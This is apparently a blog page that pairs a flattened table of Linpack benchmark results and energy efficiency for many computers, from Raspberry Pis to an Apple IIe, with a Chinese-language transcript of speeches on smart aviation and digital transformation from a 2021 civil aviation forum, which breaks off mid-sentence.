GFLOPS6.6W7.9W2.9WARMARMv7/8Cortex A7241GB (N=9000, 4 threads, OpenBLAS)7haswell desktop (instrumented)1.47 GFLOPS/W115 GFLOPS80.6 W107 W25.9 Wx86_64Intel 6/60/3hsw i5-4570S4 (4)4GB (N=20000, 4 threads, OpenBLAS)8Raspberry Pi-4B (4GB)1.35 GFLOPS/W9.69 GFLOPS7.2W8.2W2.8WARMARMv7/8Cortex A7244GB (N=19000, 4 threads, OpenBLAS)9ivb mac-mini1.21 GFLOPS/W41.2 GFLOPS33.9 W35.8 W11.5 Wx86_64Intel 6/58/9ivb i5-3210M2 (4)4GB (N=20000, 2 threads, OpenBLAS)10jetson-tx11.20 GFLOPS/W16 GFLOPS13.4 W15.3 W2.1 WARMARMv8CortexA5744GBNVIDIA(N=20000, 4 thread, OpenBLAS)11Raspberry Pi-3A+1.19 GFLOPS/W5.00 GFLOPS4.1W7.6W1.4WARMARMv7/8Cortex A534512MB (N=5000, 4 threads, OpenBLAS)12raspberry pi 2B-v1.21.07 GFLOPS/W4.43 GFLOPS4.1W5.1W1.7WARMARMv7/8Cortex A5341GB2B-v1.2(N=8000, 4 threads, OpenBLAS)13ivb macbook-air1.02 GFLOPS/W34.5 GFLOPS34.0 W37.2 W13.8 Wx86_64Intel 6/58/9ivb i5-3427U2 (4)4GB (N=10000, 2 threads, OpenBLAS)14raspberry pi30.813 GFLOPS/W*3.62 GFLOPS4.3W4.8W1.8WARMARMv7/8Cortex A5341GB3 Model B(N=6000*, 4 threads, OpenBLAS)15fam17h-epyc0.795 GFLOPS/W109 GFLOPS137 W151 W67 Wx86_64AMD 23/1/2EPYC 72518 (16)16GB (N=40000, 8 threads, OpenBLAS)16raspberry pi 3B+0.73 GFLOPS/W5.3 GFLOPS7.3W9.4W2.6WARMARMv7/8Cortex A5341GB3B+(N=10000, 4 threads, OpenBLAS)17odroid-xu0.599 GFLOPS/W8.3 GFLOPS13.9 W18.4 W2.7 WARMARMv7Cortex A7/A154 Big 4 Little2GBExynos 5 Octa(N=12000, 4 threads, OpenBLAS)18fam15h-piledriver0.466 GFLOPS/W122 GFLOPS262 W335 W167 Wx86_64AMD 21/2/0Opteron 637616 (32)16GB (N=40000, 16 threads, OpenBLAS)19dragonboard0.450 GFLOPS/W2.10 GFLOPS4.7W5.7W2.4WARMARMv8Cortex-A5341GBSnapdragon 410c(N=8000, 4 threads, OpenBLAS)20haswell/quadro (GPU only)0.436 GFLOPS/W38.4 GFLOPS (Double)88.0 W121.1 W29.2 WNVIDIAQuadro K2200 4GB (N=40000, hpl-cuda)21raspberry pi20.432 GFLOPS/W1.47 GFLOPS3.4 W3.6 W1.8 WARMARMv7Cortex A741GBModel 2(N=10000, 4 threads, OpenBLAS)22fam15h-a100.432 GFLOPS/W54 GFLOPS125.6 W148.6 W28.2 Wx86_64AMD 21/19/1A10-6800B48GB (N=30000, 4 threads, OpenBLAS)23fam16h-a8-jaguar0.354 GFLOPS/W14.1 GFLOPS39.7 W43.6 W22.5 Wx86_64AMD 22/48/1A8-641044GB (N=10000, 4 threads, OpenBLAS)24core20.292 GFLOPS/W18.0 GFLOPS61.7 W67.9 W23.4 Wx86_64Intel 6/23/10Core2 P870024GB (N=15000, 2 threads, OpenBLAS)25chromebook0.277 GFLOPS/W3.0 GFLOPS10.7 W11.1 W5.9 WARMARMv7Cortex A1522GBExynos 5 Dual(N=10000, 2 threads, OpenBLAS)26fam10h-phenom0.277 GFLOPS/W40.3 GFLOPS145.4 W175.0 W69.5 Wx86_64AMD 16/4/3Phenom II X4 95542GB (N=15000, 4 threads, OpenBLAS)27raspberry pi-zero-w0.238 GFLOPS/W0.247 GFLOPS1.0 W1.1 W0.6 WARMARMv6BCM28351512MBModel Zero-W(N=4000, 1 thread, OpenBLAS)28raspberry pi-zero0.236 GFLOPS/W0.319 GFLOPS1.3 W1.4 W0.8 WARMARMv6BCM28351512MBModel Zero(N=5000, 1 thread, OpenBLAS)29raspberry pi-aplus0.223 GFLOPS/W0.218 GFLOPS1.0 W1.0 W0.8 WARMARMv6BCM28351256MBModel A+(N=4000, 1 thread, OpenBLAS)30cubieboard20.194 GFLOPS/W0.861 GFLOPS4.4W4.6W2.2WARMARMv7Cortex A721GBAllwinner A20(N=8000, 2 threads, OpenBLAS)31atom-cedarview desktop0.170 GFLOPS/W3.1 GFLOPS18.2 W18.5 W15.5 Wx86_64Intel 6/54/1Atom D25502 (4)4GB (N=10000, 2 threads, OpenBLAS)32pi-cluster0.166 GFLOPS/W15.5 GFLOPS93.1 W96.8 W71.3 WarmCortex A7Raspberry Pi 29624GB (N=48000, 96 threads, OpenBLAS)33pandaboard-es0.163 GFLOPS/W0.951 GFLOPS5.8 W6.5 W3.0 WARMARMv7Cortex A921GBES, OMAP4(N=4000, 2 threads, OpenBLAS)34atom-cedarview server0.149 GFLOPS/W2.6 GFLOPS22.1 W22.4 W18.6 Wx86_64Intel 6/54/9Atom S12602 (4)4GB (N=20000, 2 threads, OpenBLAS)35raspberry pi-bplus0.118 GFLOPS/W0.213 GFLOPS1.8 W1.9 W1.6 WARMARMv6BCM28351512MBModel B+(N=5000, 1 thread, OpenBLAS)36fam14h-bobcat0.106 GFLOPS/W2.76 GFLOPS26.1 W27.1 W14.8 Wx86_64AMD 20/2/0Bobcat22GBG-T56N(N=8000, 2 threads, OpenBLAS)37raspberry pi compute-module0.103 GFLOPS/W0.217 GFLOPS2.1W2.2W1.9WARMARMv6BCM28351512MBPi Compute Module(N=6000, 1 thread, OpenBLAS)38atom-eeepc0.086 GFLOPS/W1.37 GFLOPS15.9 W16.3 W10.2 Wx86Intel 6/28/2Atom N2701 (2)2GBeeepc 901(N=12000, 2 threads, OpenBLAS)39raspberry pi b0.073 GFLOPS/W0.213 GFLOPS2.9 W3.0 W2.7 WARMARMv6BCM28351512MBModel B(N=5000, 1 thread, OpenBLAS)40Pentium D0.064 GFLOPS/W10.3 GFLOPS160.7 W180.5 W77.2 Wx86_64Intel 15/6/5Pentium 4/D1 (2)1GB (N=8000, 2 threads, OpenBLAS)41beaglebone-black0.026 GFLOPS/W0.068 GFLOPS2.6 W2.8 W1.9 WARMARMv7Cortex A81512MBTI AM3(N=5000, 1 thread, OpenBLAS)42gumstix-overo0.015 GFLOPS/W0.041 GFLOPS2.7 W2.8 W2.0 WARMARMv7Cortex A81256MBTI OMAP3(N=4000, 1 thread, ATLAS)43beagleboard-xm0.014 GFLOPS/W0.054 GFLOPS4.0 W4.3 W3.2 WARMARMv7Cortex A81512MBTI DM3730(N=5000, 1 thread, OpenBLAS)44Pentium II0.005 GFLOPS/W0.238 GFLOPS48.3 W48.7 W31.2 Wx86Intel 6/5/2Pentium II1256MB (N=3000, 1 thread, OpenBLAS)45sparc0.003 GFLOPS/W0.456 GFLOPS140.7W146.8W136.9WSUNSPARCUltra1512MBTI Ultrasparc II(N=5000, 1 thread, OpenBLAS)46appleII6.65E-9 GFLOPS/W1.33E-7 GFLOPS20.1 W20.1 W20.1 WMOS65C02Apple IIe1128kplatinum(N=10, 1 thread, BASIC)?ELF Membership Card???? GFLOPS???ELFRCA1802 132kB???(??, 1 thread)?sandybridge-ep?85 GFLOPS???x86_64Intel 6/45/?snb12 (24)16GB (N=40000 12 threads, ATLAS)?trimslice???? GFLOPS???ARMARMv7Cortex A921GBTegra2????octane???? GFLOPS???MIPSSGIMIPS R12k1??????(??, 1 thread)?avr32???? GFLOPS???AVR32AVRAP70001??????(??, 1 thread)?gumstix-netstix???? GFLOPS???ARMARMv5Intel PXA255164MB???(??, 1 thread)?k6-2+???? GFLOPS???x86AMDK6-2+1?????(??, 1 thread)?486???? GFLOPS???x86Cyrix486120MB???(??, 1 thread)?g3-iBook???? GFLOPS???PPCAppleG31640MB???(??, 1 thread)?g4-powerBook???? GFLOPS???PPCAppleG412 GB???(??, 1 thread)?p4???? GFLOPS???x86IntelPentium 41768MB???(??, 1 thread)?core duo???? GFLOPS???x86IntelCore Duo22 GB???(??, 1 thread)2.The top 50 fastest computers in the Weaver Research Group#NameFLOPSarchvendortypeCores/ThreadsRAMOtherLinpack Settings1haswell-ep436 GFLOPSx86_64Intel 6/63/2hsw e5-2640v316 (32)80GB (N=100000, 16 threads, OpenBLAS)2power8195 GFLOPSppc64elIBM power88348-21c8 (64)32GB (N=40000, 8 threads, OpenBLAS)3broadwell-ep184 GFLOPSx86_64Intel 6/79/1bdw e5-2620v48 (16)32GB (N=50000, 8 threads, OpenBLAS)4haswell/quadro (CPU only)180 GFLOPSx86_64Intel 6/60/3hsw i7-47904 (8)16GBQuadro K2200(N=40000, 4 threads, OpenBLAS)!haswell/quadro (GPU only)38.4 GFLOPS (Double)NVIDIAQuadro K2200 4GB (N=40000, hpl-cuda)5skylake desktop161 GFLOPSx86_64Intel 6/94/3skl i7-67004 (8)8GB (N=30000, 4 threads, OpenBLAS)6haswell desktop145 GFLOPSx86_64Intel 6/60/3hsw i7-47704 (8)4GB (N=20000, 4 threads, OpenBLAS)7fam17h-epyc131 GFLOPSx86_64AMD 23/1/2EPYC 72518 (16)16GB (N=42000, 8 threads, OpenBLAS)8fam15h-piledriver117 GFLOPSx86_64AMD 21/2/0Opteron 637616 (32)16GB (N=40000, 16 threads, OpenBLAS)9haswell desktop (instrumented)115 GFLOPSx86_64Intel 6/60/3hsw i5-4570S4 (4)4GB (N=20000, 4 threads, OpenBLAS)10sandybridge-ep85 GFLOPSx86_64Intel 6/45/?snb12 (24)16GB (N=40000 12 threads, ATLAS)11elitebook77 GFLOPSx86_64AMD 23/24/1Ryzen 7-3700U4 (8)16GBZen+ elitebook laptop(N=20000, 4 threads, OpenBLAS)12broadwell NUC66 GFLOPSx86_64Intel 6/61/4Broadwell i7-5557U2 (4)8GBIntel NUC(N=20000, 2 threads, OpenBLAS)13fam15h-a1054 GFLOPSx86_64AMD 21/19/1A10-6800B48GB (N=30000, 4 threads, OpenBLAS)14broadwell MacBookAir51 GFLOPSx86_64Intel 6/61/4Broadwell i5-5250U2 (4)4GBmacbook-air(N=20000, 2 threads, OpenBLAS)15fam10h-phenom41 GFLOPSx86_64AMD 16/4/3Phenom II X4 95542GB (N=15000, 4 threads, OpenBLAS)16ivb-mac-mini40 GFLOPSx86_64Intel 6/58/9ivb i5-3210M2 (4)4GB (N=20000, 2 threads, OpenBLAS)17ivb-macbook-air36 GFLOPSx86_64Intel 6/58/9ivb i5-3427U2 (4)4GB (N=10000, 2 threads, OpenBLAS)18core218.4 GFLOPSx86_64Intel 6/23/10Core2 P870024GB (N=20000, 2 threads, OpenBLAS)19jetson-tx116.0 GFLOPSARMARMv8CortexA5744GBNVIDIA(N=20000, 4 thread, OpenBLAS)20pi-cluster15.4 GFLOPSarmCortex A7Raspberry Pi 29624GB (N=48000, OpenBLAS)21fam16h-a8-jaguar14.0 GFLOPSx86_64AMD 22/48/1A8-641044GB (N=10000, 4 threads, OpenBLAS)22Raspberry Pi-400 (4GB)13.8 GFLOPSARMARMv8Cortex A7244GB (N=12000, 4 threads, OpenBLAS)23Raspberry Pi-4B (4GB) (64-bit user/kernel)13.5 GFLOPSARM64 / aarch64ARMv8Cortex A7244GB (N=20000, 4 threads, OpenBLAS)24Pentium D11.8 GFLOPSx86_64Intel 15/6/5Pentium 4/D1 (2)1GB (N=10000, 2 threads, OpenBLAS)25Raspberry Pi-4B (1GB)10.3 GFLOPSARMARMv7/v8Cortex A7241GB (N=9000, 4 threads, OpenBLAS)26Raspberry Pi-4B (4GB)9.9 GFLOPSARMARMv7/v8Cortex A7244GB (N=19000, 4 threads, OpenBLAS)27odroid-xu8.3 GFLOPSARMARMv7Cortex A7/A154 Big 4 Little2GBExynos 5 Octa(N=12000, 4 threads, OpenBLAS)28Raspberry pi-3B+5.47 GFLOPSARMARMv7/8Cortex A5341GB3 Model B+(N=6000, 4 threads, OpenBLAS)29chromebook5.44 GFLOPSARMARMv7Cortex A1522GBExynos 5 Dual(N=10000, 2 threads, OpenBLAS)30Raspberry Pi-3A+4.93 GFLOPSARMARMv7/8Cortex A534512MB (N=5000, 4 threads, OpenBLAS)31Raspberry pi-2b-v1.24.39 GFLOPSARMARMv7/8Cortex A5341GB2 Model B v1.2(N=8000, 4 threads, OpenBLAS)32Raspberry pi-3b3.62 GFLOPSARMARMv7/8Cortex A5341GB3 Model B(N=8000*, 4 threads, OpenBLAS)33atom-cedarview server3.35 GFLOPSx86_64Intel 6/54/9Atom S12602 (4)4GB (N=20000, 2 threads, OpenBLAS)34atom-cedarview desktop2.97 GFLOPSx86_64Intel 6/54/1Atom D25502 (4)4GB (N=20000, 4 threads, OpenBLAS)35fam14h-bobcat2.76 GFLOPSx86_64AMD 20/2/0Bobcat22GBG-T56N(N=8000, 2 threads, OpenBLAS)36dragonboard2.22 GFLOPSARMARMv8Cortex-A5341GBSnapdragon 410c(N=8000, 4 threads, OpenBLAS)37Raspberry pi-2b1.47 GFLOPSARMARMv7Cortex A741GBModel 2(N=10000, 4 threads, OpenBLAS)38atom-eeepc1.36 GFLOPSx86Intel 6/28/2Atom N2701 (2)2GBeeepc 901(N=10000, 2 threads, OpenBLAS)39pandaboard-es0.915 GFLOPSARMARMv7Cortex A921GBES, OMAP4(N=5000 *, 2 threads, OpenBLAS)40cubieboard20.859 GFLOPSARMARMv7Cortex A721GBAllwinner A20(N=8000, 2 threads, OpenBLAS)41sparc0.423 GFLOPSSUNSPARCUltra1512MBTI Ultrasparc II(N=5000, 1 thread, OpenBLAS)42Raspberry pi-zero0.319 GFLOPSARMARMv6BCM28351512MBModel Zero(N=5000, 1 thread, OpenBLAS)43Raspberry pi-zero-w0.247 GFLOPSARMARMv6BCM28351512MBModel Zero W(N=4000, 1 thread, OpenBLAS)44Pentium II0.241 GFLOPSx86Intel 6/5/2Pentium II1256MB (N=4000, 1 thread, OpenBLAS)45Raspberry pi-aplus0.223 GFLOPSARMARMv6BCM28351256MBModel A+(N=4000, 1 thread, OpenBLAS)46Raspberry pi compute-module0.217 GFLOPSARMARMv6BCM28351512MBPi Compute Module(N=5000, 1 thread, OpenBLAS)47Raspberry pi-b0.213 GFLOPSARMARMv6BCM28351512MBModel B(N=5000, 1 thread, OpenBLAS)48Raspberry pi-bplus0.213 GFLOPSARMARMv6BCM28351512MBModel B+(N=5000, 1 thread, OpenBLAS)49beaglebone-black0.068 GFLOPSARMARMv7Cortex A81512MBTI AM3(N=5000, 1 thread, OpenBLAS)50beagleboard-xm0.054 GFLOPSARMARMv7Cortex A81512MBTI DM3730(N=5000, 1 thread, OpenBLAS)51gumstix-overo0.041 GFLOPSARMARMv7Cortex A81256MBTI OMAP3(N=4000, 1 thread, OpenBLAS)52appleII133 FLOPSMOS65C02Apple IIe1128kplatinum(N=10, 1 thread, BASIC)?ELF Membership Card??? GFLOPSELFRCA1802 132kB???(??, 1 thread)?trimslice??? GFLOPSARMARMv7Cortex A921GBTegra2????octane??? GFLOPSMIPSSGIMIPS R12k1??????(??, 1 thread)?avr32??? GFLOPSAVR32AVRAP70001??????(??, 1 thread)?gumstix-netstix??? GFLOPSARMARMv5Intel PXA255164MB???(??, 1 thread)?k6-2+??? GFLOPSx86AMDK6-2+1?????(??, 1 thread)?486??? GFLOPSx86Cyrix486120MB???(??, 1 thread)?g3-iBook??? GFLOPSPPCAppleG31640MB???(??, 1 thread)?g4-powerBook??? GFLOPSPPCAppleG412 GB???(??, 1 thread)?p4??? GFLOPSx86IntelPentium 41768MB???(??, 1 thread)?core duo??? GFLOPSx86IntelCore Duo22 GB???(??, 1 thread)参考资料http://web.eece.maine.edu/~vweaver/group/green_machines.htmlhttp://web.eece.maine.edu/~vweaver/group/machines.htmlhttps://github.com/deater/performance_results
2021年12月15日
2,515 阅读
0 评论
0 点赞
2021-12-09
第十九届民航信息化发展论坛发言稿收录
1.中国民用航空局原副局长 杨国庆主持人:感谢殷总工。下面请我们的老领导,中国民用航空局原副局长杨国庆先生讲话。杨国庆:各位领导、各位嘉宾、女士们、先生们大家早上好,非常高兴应邀来参加本届信息化论坛,我发言的题目是“坚持开展智慧民航建设,全面推动行业数字化转型”。当前我国进入了新发展阶段,发展基础更加坚实,发展条件深刻变化。进一步发展面临新的机遇和挑战。中华人民共和国国民经济和社会发展第十四个五年规划和2035年远景目标纲要中明确指出,我国要迎接数字时代,结合数据要素潜能,推进网络强国建设,加快建设数字经济、数字社会、数字政府,以数字化转型整体驱动生产方式、生活方式和治理方式等。为深入贯彻落实新发展理念,顺应新时代民航发展趋势全面推进民航强国建设、加强民航高质量发展,在今年全国民航工作会议上,智慧民航首次出现在年度工作的宗旨要求当中。"十四五”时期,民航总体 工作思路也将智慧民航建设纳入其中,提出了以安全为底线,智慧民航为主线有关要将智慧民航建设有新突破作为开拓四个新局面的其中之要求和积极主动推进行业数字化、智能化、智慧化转型升级。以智慧民航建设牵引的发展战略,推进智慧民航重要,贯穿行业发展的全过程和各领域。以智慧民航建设构成新的竞争优势,使智慧民航建设成为行业高质量发展的主攻方向和驱动行业发展的主要动力。“十三五"以来民航局党组坚持贯彻落实创新发展理念,高度重视民航智慧化建设,充分发挥民航信息化技术的应用优势,不断扩大新技术应用。民航智慧化建设的内涵不断的延伸,多方参与格局不断优化,成效不断的扩大彰显,民航智慧化建设的理念成效贯穿于坚守安全底线提升服务品质,强化监管能力,深化行业改革,统筹规划发展等具体工作当中,为智慧民航及民航强国建设奠定了坚实的基础。"十四五"是我国民航单一航空运输强国向多领域民航强国迈进的重要阶段。是我国民航实现高质量发展的关键阶段。智慧民航的建设重要抓手根本途径也是重要的任务,智慧民航建设充分发挥信息化、数字化的驱动引领作用,助力破除制约行业发展的体制机制性障碍,要积极推进运行的模业务流程等变革与创新。在制度设计、规划标准编制修订等方面做好保障和支撑。要坚持系统观念,有序做好各领域、各方面整体设计和协同推进,通过新兴基础设施为传统基础设施赋能,立足智慧出行、智慧物流、智慧运行、智慧监管四个场景,加强数字感知,搭建生态系统,完善数据治理,强化网络安全、支持行业创新。总之,民航的快速发展、新一轮的科技革命催生着民航业的模式、形态、格局的全方位重塑,实现以智慧民航为特征的新一代航空运输系统,需要提高行业主体间的协同运行水平和服务保障能力,打造数据流、业务流、信息流等各类资源要素有机融合的民航生态圈。需要推动全方位的数字化转型,构建民航业数字化环境和数据资源融合的应用生态体系。数字化转型是以云计算、大数据、物联网、人工智能、区块链新一代信息技术的不断深化应用,激发数据要素创新驱动潜能,打造提升信息时代发展能力,加速业务优化升级和创新转型改造提升传统动能培育发展新动能,获取新价值,实现转型升级和创新发展的过程。当前数据已经成为土地、劳动力、资本、技术之后的第五大生产要素,正在重塑管理决策和价值创造的过程和方式。数据资源的规范管理、价值利用、充分共享也是智慧民航建设的发展关键基础。民航生产力提高高质量发展需要充分发挥数据生产要素的价值,实现行业决策从业务驱动向数据驱动的转变。近年来我国民航积极开展数字化转型的探索和实践,不少机场、航司、空管等民航企事业单位在战略层面开始了数字化转型规划、企业务、数据应用、技术架构的再定义与优化。关键场景的解决方案、蓝图设计等顶层研究。在实践层面,开始了基于人工智能技术驱动的多业务数据融合,多场景情景理解,系统计算与决策方面的有意尝试和探索。数字化转型驱动、智慧民航建设的氛围已经初步形成,并进入到全行业全面数字化转型新时期。实现民航的全面数字化转型面临主要的挑战我认为有以下几个方面的挑战,首先标准规范建设仍需不断的完善。目前随着数字化转型带来新业态一些传统的行业规章,不能完全适应当前的需要,一些新生的业务也面临着无章可循的容态,智慧化建设的终极目标实现机器换人提高生产力和生产效力,无人、少人是典型智慧化应用场景,所以民航是一个高度强调安全的行业,很多规章规范当中都明确要求了安全员、责任人这样一些要点。这种规范与技术上的冲突成为了数字化转型的制约和束缚。中国民航机场建设行动纲要中明确指出,推进机场数据共享与协同实现网络化,统一数据定义及信息交互标准,实现不同数据的交互共享,民航局今年印发的《机场无人驾驶设备应用路线图》也明确了到2022年基本建立了标准体系框架是首要任务,是形成有效的标准研究、动态修订、跟踪评估的工作机制,初步构建国家标准、行业标准、团体标准协同配套的标准体系建设。同时启动修编机场设备相关规章,将无人驾驶设备纳入民用机场专用设备体系当中管理。第二个挑战是智慧化项目的建设需要统筹协同。建设不同步缺少数字化转型整体规划引领,行业内各单位,单位内各部门建设的水平参差不齐,导致智慧化项目的建设无法发挥全部的效率和作用。比如在电子登记牌的应用初期,由于值机、安检、登机等部门和系统建设不同步,导致在一些环境仍然需要临时打印纸质登机牌的现象。一些机场的ICDM项目,由于缺少自动化的数据采集手段,一些高级的系统决策功能无法使用,由于项目建设单位部门间的差异以及资产业务管理部门的职能不同导致信息碎片、信息孤岛的现象仍然存在。因此在民航数字化转型的同时,仍然面临着补齐信息化建设短板的问题。民航局在施行这项建设导则当中对智慧机场概念进行了明确,生产要素全面互联,数据共享、协同高效、智能运行的机场。民航局刚刚发布了《机场数据基础设施技术指南》和《机场数据规范与交换技术指南》,从数据生命周期的数据描述了机场数据基础设施的建设内容,并对从数据生命周期视角描述了机场数据基础设施的建设内容,并对其提出了总体技术架构和技术要求,为机场数据共享融合与应用提出技术支撑。后者聚焦机场数据资源统一描述和数据交互共享规范两个主题,对机场各类业务信息系统的数据共享与交互以及数据价值的开发利用等方面具有重要的指导意义。第三条是纵强横弱,重技术、轻成效的现象还是很普遍的,在民航数字化转型过程当中,数字化、智慧化项目往往纵向贸通、横向割裂,在一个单位一个部门一个业务条件甚至具体场景上开展建设尤其新知识的试点应用更是成为了各个单位宣传的名片,但是受到技术成熟度和计算资源的限制,一些智慧化项目并没有真正转化成应有的生产力。近年来各机场普遍试点应用的ICDM节点视频设备采用应用为例,国内多家大型枢纽机场,新建机场,中小型机场部分机位尝试利用视频设备技术,采集ICDM节点的数据。成为了人工智能、计算机视觉行业应用的典型案例。除了个别机位数量较少的小机场外,大部分机场并没有在所有机位全面推广。主要原因是目前设备技术的对算力的要求比较高,并且设备模型不一样。每个机位重新进行训练代价很大,形成了标杆试点多、实际应用少的尴尬局面。所以,民航数字化转型是在国家利好环境下应对诸多条件的系统性工作。这其中既要利用好国家的政策,把握好当前不断发展的技术,积极做好相关工作,使民航数据化转型成为民航高质量发展的新动力。那么,推行行业全面数字化转型需要注意以下几点。第一,要坚持标准行业规范先行,组织编制统揽全局的行业数字化转型系统的标准规范和系列的标准规范。要突破机场、航司、空管业务板块的限制,统筹行业各个单位、各个部门、标准规范的同步协调。还要联合公安、边检、海关相关单位,共同参与数字化标准的制定工作,真正形成各个单位、各个部门、各个业务条件的完整的数字化、智慧化的建设标准,能够引导建设单位在标准规范下实现数字化、智慧化项目,得到了业务相关部门的有效配合,从而提高行业的生产力和创新能力。在具体操作层面,可以以机场数据规范与交互技术指南发布为契机,进一步深化完善全行业数据格式建立统一数据交换标准,促进数据的共享与交互,最大限度的发挥数据的效能。第二,要制定数字化转型总体规划,并系统实施,要坚定不移规划引领一张蓝图绘到底,从理论层面讲,数字化转型的总体框架,系统阐述数字化转型的主要任务,过程联动方式和分布实施的要求,主要包括数字化转型的主要视觉、过程方法和发展阶段。主要视觉给出数字化转型的任务体系,包括发展战略,新型能力,系统解决方案、治理体系和业务创新转型这样五个视角,凝聚了数字化转型的主要任务,给出了任务间的关联关系;过程方法提出数字化转型的方法体系,针对数字化转型的五个视角分别给对应的过程联动方法,并构建相关方法之间的相互关系作用。所谓发展阶段明确数字化转型的路径体系,将数字化转型分为初始级、单元级、流程级、网络级、生态级五个发展阶段。分别形成数字化转型五个视角在不同发展阶段的主要实施要求。实现层面讲数字化转型就是要在民航"十四五"发展的统揽下,坚持系统性原则,做好各领域各方面整体设计和协同推进。第三,建设要注意智慧民航基础理论研究,要加强面向民航生产运行场景需求的人工智能算法、自主可控设备、智能系统的研究。加强对核心系统关键技术的公关,提升民航各领域的创新能力和国产化水平,在基础理论与生产应用之间,建立起一套面向行业的理论体系中间界,一方面制成了基础理论当中的方法和模型,另一方面也加入了民航应用的场景和需求,使基础理论的应用实践是生产理论应用的理论基础,要求把空用、泛化的理论加入民航生产运行场景的约数形成更为有效的适合行业的理论,这需要行业院校、科研机构坚持不懈的努力,也需要在开放包容、强化合作的原则下引入外力,引导行业外的研究力量,聚焦行业问题,助力智慧民航基础理论的研究和突破。第四,强化民航信息安全保障措施,民航“十四五“规划把信息安全作为航空安全的一个重要的组成部分,进一步提升了信息安全在民航行业当中的地位。信息安全是航空安全的一部分,我们已经呼吁了好多年了,但是第一次文字当中我看是在即将颁布的“十四五”规划当中出现了文字,信息安全是航空安全的一个重要组成部分,所以随着数字化、智慧化建设的不断深入,自主无人、人机协作、组装智能、群体智能、智能系统逐步取代以人为中心的决策。少人、无人运行场景当中,机器和系统自主决策成为常态,这样一个运行模式下,网络与信息安全的影响已经不再是某个系统是否正常运转,数据是否可靠,而是将直接影响到机场的运行、航班的起降甚至是全行业的安全水平,信息安全的内涵也将由原先的防攻击、防入侵、防篡改、防伪拓展到智能系统决策的可靠性,安全性和行业的韧性运行这样一个范畴,这需要开展有针对性的理论研究和基础技术研究工作,为行业数字化转型提供更为可靠的技术支撑和安全保障。第五,加强人才培养与科技创新投入,行业企业的发展人才最宝贵的特色,民航数字和转型特色更多高层次的数字化人才,加大科技人才的引进和作用力度,激发科技人员技术创新的热情,在行业内形成促进人才成长的良性循环和生态。一方面行业院校开展有针对性的培养工作,另一方面也需要民航企事业单位提升自身的造血功能,民航数字化转型需求需要发挥数据的力量,避免过度的将数据暴露出去危机行业和国家的安全。这就需要行业单位有驾驭自身数据的能力,需要单位有能驾驭数据的人,需要既懂业务又了解技术的复合型人才。此外行业各单位充分利用自己对行业的理解,增强研究和技术创新能力,在年度发展预算当中预留专项资金,对数字化转型提供相应的资金支持,同时为行业内外科研力量协同合作,广泛吸纳行业内外技术优势和各种创新力量,积极争取国家地方财政的知识创新专项的补贴。总之,全面数字化转型是“十四五“期间民航一项重要的任务,也是一个系统的工程,我们面对的各种挑战需要依靠政府的引导、借助各方面的科研力量能力,精诚团结共同努力,砥砺前行、协同配合为智慧民航建设,实现民航强国而努力奋斗,最后祝会议论坛圆满成功,谢谢大家。2. 中国民用航空局机场司司长 张锐主持人:感谢杨局长。本届论坛的主题是“信息化助力民航高质量发展”,我们将围绕十四五期间智慧民航建设、民航的数字化转型、5G技术应用、网络与信息安全、信息化与疫情防控等话题开展深入研讨和热烈交流。我们也邀请了多位领导、专家到论坛发表内涵丰富的主题演讲。下面,首先演讲的是中国民用航空局机场司张锐司长,他演讲的题目是《我国智慧机场建设发展现状与未来》,有请张所长。张锐:尊敬的杨国庆副局长、殷时军总工、唐书记、汪厅长、刘杰书记,各位领导、各位嘉宾,大家上午好!非常感谢民航报社的邀请,参加这个论坛应该是第三次参加。当前,智慧与创新已经成为民航业的鲜明特色。今年4月,在智慧民航建设领导小组第一次会议上,冯正霖局长明确指出:"智慧民航”是民航"十四五”期间的发展主线,可以说,数字与智慧化转型 是民航业把握未来先机、赢得发展优势的关键一招。按照本次会议的安排,我今天的发言主题是"我国智慧机场建设发展的现状和未来"。借这个机会和各位领导专家分享我们在推动智慧机场建设方面的一些工作情况和一些考虑。第一方面,进入新阶段,智慧机场建设全面推开,也呈现出了新的特点。全行业各单位认真贾彻落实冯正霖局长进话精神,积极推进机场智慧化的发展转型,以智慧助推四型机场建设开展了探索实践,一段时间以来,各类新型技术设备先后在行业部署,众多便捷服务产品陆续在机场应用,整体上呈现出了百花齐放的特点。进入2021年以来,我们感觉智慧机场建设又体现出了三个新的发展亮点:第一个方面,是智慧机场的智能建造成为新的发展趋势。在刚刚结束的全国民航机场建设管理工作会议上,冯局长指出要推动咨询和设计数字化转型,推动智慧工地建设,依托智慧化理念打造机场的品质工程建设。为推动智慧建造的有序发展,民航局发布了《推动民航智能建造与建筑工业化协同发展的行动方案》,明确未来五年的重点工作任务,围绕BIM领域正在针对分类与编码、设计、施工、运维四个部分的BIM标准征求行业意见,充分支持机场智慧建造技术的应用与发展。一年来以BIM为代表的智能建造和以装配式为代表的施工新工厂逐步在民航机场建造领域得到探索式应用。天府机场依次新建三条跑道,建立起了以BIM为辅助设计施工的工作模式:白云机场三期改扩建将运用预置装备化的机场滑行道桥和道面技术;在重庆新机场选址过程中,我们组织民航机场建设集团综合利用了BIM、GIS和无人机等新技术,自主研发了机场数字化选址的辅助系统;鄂州机场创新应用智慧项目管理、数字工地数字施工与监控,一共完成了BIM模型1500余个,BIM的构建2000万余个,打造了国内首个一次性交付实体工程与数字模型的机场项目,实现了 BIM的正向设计。第二个特点是机场的无人驾驶设备成为新业态。无人驾驶技术在机场的应用探索成为智慧机场的一个全新的应用场景,大兴机场正在开展无人摆渡车和无人巡逻车两款车型的测试:长沙机场推进探索少人化的航空物流,在货站区域试用无人物流牵引车运输货物,同时引入无人摆渡车正在机坪开展测试;南京机场自行研制的登机桥远程驾驶系统已经进入测试阶段:厦门机场正在开展无人行李牵引车的试点应用;乌鲁木齐机场在今年9月一次性投入5台无人驾驶物流车在停机坪进行了试运行。为支持机场无人驾驶设备的应用,我们组建了国内权威课题组团队,对各交通领域的检验、测试、应用及管理政策进行了广泛而深入的调研,经过一年多的工作,我们制定了《机场无人驾驶设备应用路线图(2021-2025)》,并在机场建设管理工作会议上正式发布,为这一新型技术产品在民航机场推广应用提供了有效的政策依据。第三个特点是机场智慧管理呈现新模式。一年来,智慧机场正在从旅客服务、生产调度向智能运维、智能维养等应用场景不断拓展,同济大学与天府、咸阳机场合作,分别建成了首个单跑道全功能智能系统、多源信息融合智慧跑道系统,实现了跑道健康监测和运行安全的全生命周期的预警:武汉理工大学创新应用了地理光缆代替传统传感器,监测元件数量由百级单位提升到两万级单位水平;鄂州机场通过数字化施工方式,对施工全过程进行监控,对施工质量进行预测,改变了传统的靠监理航站事后检测的方式,为工程质量检站提供了有效依据。以智慧为驱动的新型机场建设正在从航站楼飞行区向机场全领域覆盖,从